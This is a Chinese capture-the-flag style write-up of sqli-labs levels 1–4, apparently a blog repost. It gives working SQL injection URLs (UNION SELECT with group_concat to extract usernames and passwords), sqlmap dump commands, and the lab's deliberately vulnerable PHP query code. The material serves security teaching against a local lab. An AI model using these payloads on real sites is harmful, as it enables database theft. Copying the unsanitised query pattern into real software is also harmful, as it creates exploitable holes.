专栏首页HACKWAYSqlilabs通关笔记(一)

Sqlilabs通关笔记(一)

环境搭建

用于SQL注入学习环境

  1. 关卡源码下载地址[1]美化页面下载地址[2]
  2. 用phpstudy或者web环境直接搭建运行

第一关 基于错误的GET单引号字符型注入

存在注入点判断

  1. 加上单引号报错
http://localhost/sqlilabs/practice/example1.php?id=1'
  1. 加上注释符页面正常
http://localhost/sqlilabs/practice/example1.php?id=1' %23
  • 注释方式
    • # 号注释
    • %23 注释
    • --+ 注释
  1. 判断字段数(使用order by)
http://localhost/sqlilabs/practice/example1.php?id=1'  order by 3%23 # 正常http://localhost/sqlilabs/practice/example1.php?id=1'  order by 4%23 # 页面显示错误
说明字段数为3
  1. 执行注入Payload
# 判断显示的信息点,通过id=-1来执行联合查询http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,2,3%23
  • 常用查询信息
    • database() # 在用的数据库名
    • user() # 用户信息
    • version() # 数据库版本信息
    • @@basedir # 数据库安装路径
    • @@version_compile_os # 操作系统版本
  1. 查看数据库数据
  • 查看表名称 group_concat函数:将查询到的多行结果连接成字符串
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  • 查看列名
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+
  • 查看字段
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+

将整个表内容显示出来了

sqlmap 注入常用命令

```
sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
```
  • 注意的点
    • B:Boolean-based-blind (布尔型注入)
    • U:Union query-based (联合注入)
    • E:Error-based (报错型注入)
    • S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
    • T:Time-based blind (基于时间延迟注入)
    1. -–batch 默认选项运行
    2. --dbs 爆破数据库
    3. -–technique 指定sqlmap使用的检测技术 sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B

第二关 基于错误的GET整型注入

存在注入点判断

  1. 加上单引号报错
http://localhost/sqlilabs2/Less-2/index.php?id=1'--+
  1. 加上and 1=1 页面正常
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 1=1--+
  1. 加上and 12=2 页面不正常
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 12=2--+

说明执行了传入的payload,存在注入

  1. 判断字段数
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 3--+ # 正常http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 4--+ # 页面显示错误
说明字段数为3
  1. 查询表名
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
  1. 查询字段名
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
  1. 直接查询数据库数据
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

第三关 基于错误的GET单引号变形注入

存在注入点判断

加上单引号报错,发现存在)

http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=2 --+ # 报错http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=1 --+ # 正常

直接上payload,将数据库脱出

    http://localhost/sqlilabs2/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

第四关 基于错误的GET双引号字符型注入

存在注入点判断

加上双引号报错,发现存在"

http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=2 --+ # 报错http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=1 --+ # 正常

直接上payload,将数据库脱出

 http://localhost/sqlilabs2/Less-4/index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

SQLMAP注入

直接上payload 1-4关皆可以用该命令

sqlmap -u "http://localhost/sqlilabs2/Less-2/index.php?id=1" --batch -D security -T users --columns --dump

源代码分析

  1. 直接贴源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variables if(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);
// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
	if($row)	{  	echo "<font size='5' color= '#99FF00'>";  	echo 'Your Login name:'. $row['username'];  	echo "<br>";  	echo 'Your Password:' .$row['password'];  	echo "</font>";  	}	else 	{	echo '<font color= "#FFFF00">';	print_r(mysql_error());	echo "</font>";  	}}	else { echo "Please input the ID as parameter with numeric value";}
?></font> </div></br></br></br><center><img src="../images/Less-1.jpg" /></center></body></html>
  1. 由源码看出对GET传入的参数未做任何过滤,并打印出错误信息,直接在数据库中查询,导致可以将payload传入拼接执行
  • 第一题SQL语句

SELECT * FROM users WHERE id='$id' LIMIT 0,1;

  • 第二题SQL语句

SELECT * FROM users WHERE id=$id LIMIT 0,1;

  • 第三题SQL语句

SELECT * FROM users WHERE id=('$id') LIMIT 0,1;

  • 第四题SQL语句

SELECT * FROM users WHERE id=("$id") LIMIT 0,1;

  1. 通过源代码可以更加清晰的理解payload的构造思路

参考资料

[1]

关卡源码下载地址: https://github.com/Audi-1/sqli-labs

[2]

页面美化下载地址: https://github.com/himadriganguly/sqlilabs

本文分享自微信公众号 - HACKWAY(gh_7a5a315cde00),作者:HACKWAY

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Sqlmap注入使用技巧总结

    Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指...

    轩辕小子
  • DC-8靶机渗透实战

    这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址[1],需要更详细的资料可以参考文章1[2]、文章2[3]、文章3...

    轩辕小子
  • 密码破解神器Hydra初识

    每个密码安全研究显示表明,最大的安全漏洞之一是密码。而九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra是灵活和迅速的,且...

    轩辕小子
  • 三种批量删除PLSQL写法效率的比对

    我们有一个重要的旧系统,最近夜维出现了一些问题,夜间执行5小时未完成,为了不影响业务,只能早上高峰期之前,DBA手工kill夜维进程。

    bisal
  • 唐巧的iOS技术博客选摘

    王大锤
  • webgl图库研究(包括BabylonJS、Threejs、LayaboxJS、SceneJS、ThingJS等框架的特性、适用范围、支持格式、优缺点、相关网址)

    为实现企业80%以上的生产数据进行智能转化,在烟草、造纸、能源、电力、机床、化肥等行业,赢得领袖企业青睐,助力企业构建AI赋能中心,实现智能化转型升级。“远...

    acoolgiser
  • writeup分享 | 近期做的比较好的web

    0x01猫头鹰嘤嘤嘤 http://124.128.55.5:30829/index.php 首先分析一下功能,随便上传一张jpg图片上传,跳转到 http...

    安恒网络空间安全讲武堂
  • 网络安全实验室(基础关) writeup~下

    题目都来自这里:http://hackinglab.cn/ShowQues.php?type=bases

    伪君子
  • Nginx配置中一个不起眼字符"/"的巨大作用,失之毫厘谬以千里

    Nginx作为一个轻量级的,高性能的web服务软件,因其占有内存少,并发能力强的特点,而广受欢迎和使用。国内很多大型互联网公司也对Nginx很是青睐。像BAT(...

    民工哥
  • Oauth2的授权码模式《上》

    在上一篇 Oauth2 的认证实战-HA 篇 中,我们说过 Oauth2 的高可用方案,但其实其场景仅仅在于密码模式下,如果是授权码模式下,将有点瑕疵,甚至需要...

    程序猿Damon

扫码关注云+社区

领取腾讯云代金券

,,